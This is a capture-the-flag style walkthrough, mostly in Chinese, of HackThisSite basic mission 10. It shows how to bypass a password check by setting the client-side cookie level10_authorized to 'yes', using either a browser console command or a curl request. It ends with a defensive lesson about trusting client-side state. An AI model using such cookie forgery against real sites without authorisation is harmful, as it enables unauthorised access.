Challenge
This time Sam used a more temporary and “hidden” approach to authenticating users, but he didn’t think about whether or not those users knew their way around javascript…
Sam 使用了一种更临时、更”隐蔽”的方式来认证用户,但他没考虑到用户是否懂 JavaScript。
页面有一个密码输入框。
Solution
访问页面时,服务器会设置一个 cookie:
Set-Cookie: level10_authorized=no提交密码时,服务器检查这个 cookie 的值。如果 level10_authorized=no,则拒绝访问。
解法:将 cookie 值改为 yes,然后提交表单。
方式一:浏览器开发者工具 Console:
document.cookie = "level10_authorized=yes";方式二:curl:
$ curl -sL \ -b 'HackThisSite=YOUR_COOKIE; level10_authorized=yes' \ -e 'https://www.hackthissite.org/missions/basic/10/' \ -d 'password=' \ 'https://www.hackthissite.org/missions/basic/10/index.php'核心知识点:Cookie 是存储在客户端的,用户可以随意修改。不要依赖客户端 cookie 来做安全认证决策。任何存储在客户端的状态都可以被篡改。